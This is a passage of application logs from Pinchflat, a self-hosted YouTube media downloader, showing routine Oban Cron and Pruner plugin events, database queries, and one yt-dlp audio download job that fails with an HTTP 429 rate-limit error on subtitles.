{"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:30:18.953 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:30:48.954 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:00.818 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:31:18.955 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:31:48.956 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:00.819 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:32:18.958 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:32:48.959 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:00.820 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:33:18.960 [info] {"source":"oban","duration":774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:33:48.962 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:00.821 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:34:18.964 [info] {"source":"oban","duration":1618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:34:48.966 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:00.822 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:35:18.968 [info] {"source":"oban","duration":907,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:35:48.970 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:00.823 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:36:18.972 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:36:48.973 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:00.824 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:37:18.974 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:37:48.976 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:00.826 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:38:18.978 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:38:48.979 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:00.827 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:39:18.981 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:39:48.982 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:00.828 [info] {"source":"oban","duration":482,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:40:18.983 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:48.985 [info] {"source":"oban","duration":1509,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:00.829 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:41:18.986 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:41:48.987 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:00.830 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:42:18.989 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:42:33.334 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"system_time":1784893353333902878,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 07:42:33.334 [debug] QUERY OK source="media_items" db=0.1ms idle=603.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [51] 07:42:33.334 [info] User scripts lifecyle file either not present or is empty. Skipping. 07:42:33.334 [debug] QUERY OK source="sources" db=0.1ms idle=603.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:42:33.334 [debug] QUERY OK source="media_profiles" db=0.0ms idle=603.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:33.335 [debug] QUERY OK source="media_items" db=0.1ms idle=168.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 07:42:33.335 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 07:42:33.335 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:42:33.336 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:33.336 [debug] Running yt-dlp command for action: get_downloadable_status 07:42:33.336 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:33.336 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:33.336 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:33.336 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/4d/9c4d9b631c85efffde61bae544e5ab2f7dddb047adc19b42298fcbcdb528f536.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 07:42:37.578 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9c/4d/9c4d9b631c85efffde61bae544e5ab2f7dddb047adc19b42298fcbcdb528f536.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 07:42:37.578 [debug] Running yt-dlp command for action: download 07:42:37.579 [debug] QUERY OK source="settings" db=0.1ms idle=848.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:37.579 [debug] QUERY OK source="settings" db=0.0ms idle=848.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:37.579 [debug] QUERY OK source="settings" db=0.0ms idle=848.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 07:42:37.579 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f5/19/f519669dc1b392b00b62597b2ec4c2c0f5018de4740862af59bbc355f0639257.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 07:42:40.308 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f5/19/f519669dc1b392b00b62597b2ec4c2c0f5018de4740862af59bbc355f0639257.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests 07:42:40.308 [error] yt-dlp download error for media item #51: "ERROR: Unable to download video subtitles for 'en': HTTP Error 429: Too Many Requests\n" 07:42:40.564 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"force":true,"id":51},"id":174,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":6974932,"event":"job:exception","queue_time":799361,"attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 07:42:48.990 [info] {"source":"oban","duration":527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:00.831 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:43:18.991 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:43:48.992 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:00.832 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:44:18.993 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:44:48.994 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:00.833 [info] {"source":"oban","duration":266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:45:18.995 [info] {"source":"oban","duration":528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:45:48.996 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:00.834 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:46:18.997 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:46:48.998 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:00.834 [info] {"source":"oban","duration":165,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:47:19.000 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:47:49.001 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:00.835 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:48:19.002 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:48:49.003 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:00.836 [info] {"source":"oban","duration":164,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:49:19.004 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:49:49.005 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:00.838 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:50:19.006 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:50:49.007 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:00.839 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:51:19.008 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:51:49.010 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:00.839 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:52:19.011 [info] {"source":"oban","duration":586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:52:49.012 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:00.841 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:53:19.013 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:53:49.014 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:00.841 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:54:19.015 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:54:49.016 [info] {"source":"oban","duration":893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:00.842 [info] {"source":"oban","duration":175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:55:19.018 [info] {"source":"oban","duration":745,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:55:49.019 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:00.843 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:56:19.020 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:56:49.022 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:00.844 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:57:19.023 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:57:49.025 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:00.846 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:58:19.026 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:58:49.027 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:00.847 [info] {"source":"oban","duration":213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 07:59:19.028 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:59:49.030 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:00.847 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:00:19.031 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:00:49.032 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:00.849 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:01:19.034 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:01:49.035 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:00.850 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:02:19.036 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:02:49.037 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:00.851 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:03:19.038 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:03:49.039 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:00.851 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:04:19.040 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:04:49.041 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:00.852 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:05:19.042 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:05:49.043 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:00.853 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:06:19.044 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:06:49.045 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:00.855 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:07:19.046 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:07:49.047 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:00.856 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:08:19.048 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:08:49.050 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:00.857 [info] {"source":"oban","duration":268,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:09:19.051 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:09:49.052 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:00.857 [info] {"source":"oban","duration":226,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:10:19.053 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:10:49.054 [info] {"source":"oban","duration":845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:00.859 [info] {"source":"oban","duration":309,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:11:19.055 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:11:49.056 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:00.860 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:12:19.057 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:12:49.058 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:00.860 [info] {"source":"oban","duration":168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:13:19.059 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:13:49.061 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:00.862 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:14:19.062 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:14:49.063 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:00.862 [info] {"source":"oban","duration":185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:15:19.064 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:15:49.065 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:00.864 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:16:19.066 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:16:49.067 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:00.864 [info] {"source":"oban","duration":186,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:17:19.068 [info] {"source":"oban","duration":538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:17:49.069 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:00.866 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:18:19.070 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:18:49.071 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:00.867 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:19.072 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:49.073 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.868 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:19.074 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:49.075 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:21:00.868 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:21:19.076 [info] 